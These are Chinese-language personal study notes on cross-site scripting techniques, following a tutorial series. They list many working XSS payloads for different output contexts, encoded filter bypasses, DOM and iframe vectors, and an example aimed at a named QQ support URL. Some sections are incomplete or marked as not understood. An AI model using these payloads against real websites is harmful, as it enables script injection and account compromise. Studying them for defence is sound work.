所有的文章都是看源码分析的,但是我这里推荐用抓包工具看输出
这里我要补充一下xss的相关知识(这里非常非常重要,如果连这些都不知道,是很难做xss的)
一、html标签里可以继续写html标签
<p>giegie,我你男朋友不会揍我吧<script>alert(1)</script></p>
二、html元素的属性可以触发事件(https://www.runoob.com/html/html-attributes.html)
HTML 属性
HTML 元素可以设置属性
属性可以在元素中添加附加信息
属性一般描述于开始标签
属性总是以名称/值对的形式出现,比如:name="value"
例子:<img src=1 onerror=alert(1)>
三、js中的编码和html中的编码区分开(https://www.leavesongs.com/penetration/use-location-xss-bypass.html)
js中的unicode与8进制编码,只能放在js中的“字符串”中。比如<img src=1 onerror=alert\u0040\u0041>是不行的,但<img src=1 onerror=alert()>可以
四、最重要的一点,根据实际情况尽量把插入的xss逃出输出框
1.什么都没过滤的入门情况
总结:插入html标签:如<script>alert(1);</script>
2.输出在 script /scrtpt之间的情况
一、闭合前面的标签或者就在标签里触发事件,然后script代码里的构造xsspayload
3.输出在HTML属性里的情况
一、闭合标签,然后插入
二、我们要把js中的编码和html中的编码区分开,在html属性中可以用字符实体代替原字符,比如(代替(,但js中的unicode与8进制编码,只能放在js中的“字符串”中。比如<img src=1 onerror=alert\u0040\u0041>
是不行的,但<img src=1 onerror=alert()>
可以。
4.宽字节复仇记[QQ邮箱基本通用]
利用宽字节注入(类似于sql的宽字节)
5.反斜线复仇记
总结不来。。。
6.换行符复仇记
换行符%0aalert(1);//
7.宽字节、反斜线与换行符一起复仇记
找到注入位后,先写入payload,
发现要换行、和linux那种多行书写的方式\ 和宽字节闭合魔术引号
8.DOM XSS[显示输出]
unicode编码绕过
9.Dom Xss入门 [隐式输出]
闭合前面的标签,然后插入xsspayload,注释掉后面
输入十进制和输入url都可以
"></object><img src=1 onerror=alert(1)>
%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E
10.Dom Xss进阶 [邂逅eval]
eval函数获取参数
原http://kf.qq.com/search_app.shtml?key=aaaaa
利用http://kf.qq.com/search_app.shtml?key=aaa";alert(1);//
11.Dom Xss进阶 [善变iframe]
以下xsspayload都可以
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe>
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
12.Dom Xss进阶 [路径con] —没看懂,需要利用XSS扫描器,不会
将后面的参数, param=xxx修改为param=xxx&callback=alert(1) ,从而覆盖前面的callback
抓包可以看到,被动态加载的keyword参数,我们在后面插入了一个callback,覆盖了前面的callback
13. Dom Xss实例 [Discuz X2.5]
因为传参在js脚本中,所以我们可以用js的unicode编码。先把前面用单引号闭合(这里的单引号是用的unicode编码)然后在写alert进行xss
第二点没看懂
14. Flash Xss入门 [navigateToURL]
flash我觉得过时了,就没看,如果想看的可以自己看下
15. Flash Xss进阶 [ExternalInterface.call第一个参数]
flash我觉得过时了,就没看,如果想看的可以自己看下
16. Flash Xss进阶 [ExternalInterface.call第二个参数]
flash我觉得过时了,就没看,如果想看的可以自己看下
17. XSS过滤器绕过 [通用绕过]
这个很神奇,没说什么原理,就直接给了xsspayload:<script src=data:,alert(1)<!--
这个xsspayload有点像 13. Dom Xss实例 [Discuz X2.5]里的内容
18. XSS过滤器绕过 [猥琐绕过]
闭合前面,然后插入<script>alert(1)</script>
19.存储型XSS入门 [什么都没过滤的情况]
感觉没必要
20. 存储型XSS入门 [套现绕过富文本]
http://html5sec.org/
20不完整,看不懂
21. 存储型XSS进阶 [猜测规则,利用Flash addCallback构造XSS]
flash我觉得过时了,就没看,如果想看的可以自己看下
++++++++++++++分割线+++++++++++分割线+++++++++++++++++++
以下是我写的以下乱七八糟的一些笔记
一、
二、burp默认HTML实体编码是16进制,但是解码的时候10进制和16进制都可以解码
正常payload为 '+alert(1)+'
但是过滤了单引号
但是我们可以变成html实体编码,把单引号变成 '
payload为 '+alert(1)+'
接着我们把代码转成url编码 & 为 %26 # 为 %23
最后利用代码为%26%23x27;%2balert(1)%2b%26%23x27
"/><img src=# onerror=alert(1)/>//
<img src="1" onerror=alert(1)>
<script>alert(1)</script>
<script>alert%26%23x28;1%26%23x29;</script>
<script>alert(1)</script>
参考链接https://blog.csdn.net/weixin_39934520/category_9973431.html